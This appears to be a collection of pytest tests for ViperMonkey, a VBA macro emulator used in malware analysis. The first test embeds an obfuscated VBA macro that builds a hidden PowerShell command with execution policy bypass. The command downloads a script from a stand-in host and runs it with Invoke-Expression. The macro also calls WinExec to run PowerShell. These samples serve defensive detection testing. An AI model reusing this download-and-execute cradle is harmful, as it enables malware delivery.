示例#1
0
def test_reporting_actions():
    vba_code = dedent(r'''
        Public Function Execute() As Variant
        
            Dim m1, m2, m3, m4 As String
            
            m1 = "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " " & "-" & "w" & " " & "h" & "i" & "d" & "d" & "e"
            m2 = "n" & " -" & "e" & "x" & "e" & "c" & " b" & "y" & "p" & "a" & "s" & "s " & "-" & "c " & Chr(34)
            m3 = "$a" & "=" & "Invoke" & "-" & "We" & "bRequest" & " ww" & "w.example.com" & "/" & "scr" & "ipt.txt"
            m4 = "; " & "Inv" & "ok" & "e-Expr" & "ession " & "$" & "a" & Chr(34) & ""
            
            Shell m1 & m2 & m3 & m4, vbHide
            
            WinExec "wscript powershell.exe -x run.ps1", 0
        
        End Function
        
        Execute
    ''')

    context = vipermonkey.Context()
    vipermonkey.eval(vba_code, context=context)

    print dict(context.actions)

    assert dict(context.actions) == {
        'Shell function': [
            ('Execute Command', 'powershell -w hidden -exec bypass -c '
                                '"$a=Invoke-WebRequest www.example.com/script.txt; Invoke-Expression $a"')],
        'Interesting Function Call': [('WinExec', ['wscript powershell.exe -x run.ps1', 0])],
        'Interesting Command Execution': [('Run', 'wscript powershell.exe -x run.ps1')],
    }
def test_add():
    """Tests Add() function"""
    context = vipermonkey.Context()
    context['my_dict'] = {'a': 1, 'b': 2}

    vipermonkey.eval('my_dict.Add("c", 3)', context)
    assert context['my_dict'] == {'a': 1, 'b': 2, 'c': 3}
def test_doc_vars():
    """Tests calls to retrieve document properties."""
    context = vipermonkey.Context()
    context.doc_vars['subject'] = 'test Subject'

    assert vipermonkey.eval(
        'ActiveDocument.BuiltInDocumentProperties("Subject")',
        context) == 'test Subject'
    assert vipermonkey.eval('ActiveDocument.variables("subject")',
                            context) == 'test Subject'
def test_file_close():
    """Tests close of file object foo.Close()"""
    context = vipermonkey.Context()
    context.open_file('test.txt')
    context.write_file('test.txt', b'data')

    assert not context.closed_files
    # vipermonkey closes the last open file
    vipermonkey.eval('foo.Close()', context)
    assert context.closed_files == {'test.txt': b'data'}
def test_application_run():
    """Tests functions called with Application.Run()"""
    context = vipermonkey.Context()
    vipermonkey.eval('Application.Run(WinExec, "powershell.exe test.ps1")',
                     context)

    assert context.actions == {
        # FIXME: Application.Run from VBALibraryFuncs doesn't get called for some reason.
        # 'Interesting Function Call': [('Run', 'WinExec')],
        'Interesting Command Execution': [('Run', 'powershell.exe test.ps1')]
    }
示例#6
0
def test_eval_with_context():
    vba_code = dedent('''
        Dim m1, m2, m3, result As String
        m1 = "he" & "ll" & Chr(111) & " "
        m2 = "w" & Chr(111) & "rl" & Chr(123 Xor 31)
        m3 = "!!!"
        result = m1 & m2 & m3
    ''')
    context = vipermonkey.Context()
    vipermonkey.eval(vba_code, context=context)
    assert context.locals == {'m1': 'hello ', 'result': 'hello world!!!', 'm3': '!!!', 'm2': 'world'}
    assert context['result'] == 'hello world!!!'
def test_clipboard():
    """Tests calls to setData() and getData() clipboard."""
    context = vipermonkey.Context()

    assert '** CLIPBOARD **' not in context
    assert vipermonkey.eval('objHTML.ParentWindow.clipboardData.getData()',
                            context) is None
    assert vipermonkey.eval(
        'objHTML.ParentWindow.clipboardData.setData(None, "test data")',
        context) is True
    assert '** CLIPBOARD **' in context.globals
    assert context['** CLIPBOARD **'] == 'test data'
    assert vipermonkey.eval('objHTML.ParentWindow.clipboardData.getData()',
                            context) == 'test data'
def test_text_file_read(tmpdir):
    """Tests OpenTextFile(...).ReadAll() calls."""
    test_file = tmpdir / 'test.txt'
    test_file.write('this is test data')

    assert vipermonkey.eval('fs.OpenTextFile("{!s}").ReadAll()'.format(
        test_file)) == 'this is test data'

    # It should also work when the drive is uppercase.
    # (see note in _handle_text_file_read())
    test_file = str(test_file)
    if test_file.startswith('c:'):
        test_file = 'C:' + test_file[2:]
    assert vipermonkey.eval('fs.OpenTextFile("{!s}").ReadAll()'.format(
        test_file)) == 'this is test data'
def test_paragraphs():
    """Tests references to the .Paragraphs field of the current doc."""
    context = vipermonkey.Context()
    context['ActiveDocument.Paragraphs'] = 'PARAGRAPH OBJECT'

    assert vipermonkey.eval('ActiveDocument.Paragraphs',
                            context) == 'PARAGRAPH OBJECT'

    parsed = simple_statement.parseString('ActiveDocument.Paragraphs')[0]
    assert type(parsed) == Call_Statement
    assert type(parsed.name) == MemberAccessExpression
    assert parsed.eval(context) == 'PARAGRAPH OBJECT'

    # Having "ActiveDocument" is not required.
    parsed = simple_statement.parseString('something_else.Paragraphs')[0]
    assert type(parsed) == Call_Statement
    assert type(parsed.name) == MemberAccessExpression
    assert parsed.eval(context) == 'PARAGRAPH OBJECT'

    # Doesn't work if not last entry.
    parsed = simple_statement.parseString('ActiveDocument.Paragraphs.Count')[0]
    assert type(parsed) == Call_Statement
    assert type(parsed.name) == MemberAccessExpression
    assert parsed.name.eval(context) == 'ActiveDocument.Paragraphs.Count'

    parsed = simple_statement.parseString('r = ActiveDocument.Paragraphs')[0]
    assert type(parsed) == Let_Statement
    assert type(parsed.expression) == MemberAccessExpression
    assert parsed.expression.eval(context) == 'PARAGRAPH OBJECT'
示例#10
0
def test_module():
    """Tests Module interaction."""
    # Test iterating functions.
    vba_code = dedent('''
        Attribute VB_Name = "ThisDocument"
        Attribute VB_Base = "1Normal.ThisDocument"
        
        Sub Document_Open()
            On Error Resume Next
            Dim message As String
            message = PrintHello("Jamie")
            MsgBox message
        End Sub
        
        Function PrintHello(person As String) As String
            Dim m1 As String
            m1 = "he" & "ll" & Chr(111) & " "
            PrintHello = m1 & person
        End Function
    ''')
    module = vipermonkey.Module(vba_code)
    assert sorted(proc.name for proc in module.procedures) == ['Document_Open', 'PrintHello']

    # Test iterating code_blocks.
    expected_code_blocks = [
        (Attribute_Statement, 'Attribute VB_Name = "ThisDocument"\n'),
        (Attribute_Statement, 'Attribute VB_Base = "1Normal.ThisDocument"\n'),
        (Sub, dedent('''\
            Sub Document_Open()
                On Error Resume Next
                Dim message As String
                message = PrintHello("Jamie")
                MsgBox message
            End Sub
        ''')),
        (Function, dedent('''\
            Function PrintHello(person As String) As String
                Dim m1 As String
                m1 = "he" & "ll" & Chr(111) & " "
                PrintHello = m1 & person
            End Function
        '''))
    ]
    for (expected_type, expected_code), code_block in zip(expected_code_blocks, module.code_blocks):
        assert code_block.type == expected_type
        assert str(code_block) == expected_code

    # Test evaluating directly with code_blocks
    for code_block in module.code_blocks:
        if code_block.type == vipermonkey.Function and code_block.name == 'PrintHello':
            assert code_block.eval(params=['Bob']) == 'hello Bob'
            break
    else:
        pytest.fail('Failed to find PrintHello() function.')

    # Test evaluating using prefilled context.
    context = vipermonkey.Context()
    module.load_context(context)
    assert vipermonkey.eval('PrintHello("Bob")', context=context) == 'hello Bob'
示例#11
0
def test_file_extraction():
    vba_code = dedent(r'''
        Sub WriteFile(data As String)
            Dim a, b, c As String
            a = "Scr"
            b = "ipting" & Chr(46) & "FileSy"
            c = "st" & Chr(69) & "mObject"
            Dim fso As Object
            Set fso = CreateObject(a & b & c)
            Dim Fileout As Object
            Dim url As String
            url = "c:\users\public\" & "documents\hello.txt"
            Set Fileout = fso.CreateTextFile(url, True, True)
            Fileout.Write data
            Fileout.Close
        End Sub
        
        WriteFile("This " & "is some" & " file data!")
    ''')
    context = vipermonkey.Context()
    vipermonkey.eval(vba_code, context=context)
    assert context.open_files == {}
    assert context.closed_files == {'c:\\users\\public\\documents\\hello.txt': 'This is some file data!'}
示例#12
0
def test_basic_eval():
    assert vipermonkey.eval('2') == 2
    assert vipermonkey.eval('2 + 2') == 4
    assert vipermonkey.eval('Chr(36)') == '$'
    assert vipermonkey.eval('"w" & Chr(111) & "rl" & Chr(123 Xor 31)') == 'world'
    assert vipermonkey.eval('Chr(71 Xor 18) & "2" & Chr(84 Xor 19)') == 'U2G'

    vba_code = dedent('''
        Dim m1, m2, m3 As String
        m1 = "he" & "ll" & Chr(111) & " "
        m2 = "w" & Chr(111) & "rl" & Chr(123 Xor 31)
        m3 = "!!!"
        m1 & m2 & m3
    ''')
    assert vipermonkey.eval(vba_code) == 'hello world!!!'
示例#13
0
def test_oslanguage():
    """Tests references to the OSlanguage field."""
    context = vipermonkey.Context()
    context['oslanguage'] = 'Spanish'
    assert vipermonkey.eval('OS.OSLanguage', context) == 'Spanish'
示例#14
0
def test_adodb_writes():
    """Tests expression like "foo.Write(...)" where foo = "ADODB.Stream" """
    context = vipermonkey.Context()
    vipermonkey.eval('CreateObject("ADODB.Stream").Write("this is test data")',
                     context)
    assert context.open_files == {'ADODB.Stream': 'this is test data'}
示例#15
0
def test_replace():
    """Tests string replaces of the form foo.Replace(bar, baz)"""

    assert vipermonkey.eval('foo.Replace("replace foo with bar", "foo", "bar")'
                            ) == 'replace bar with bar'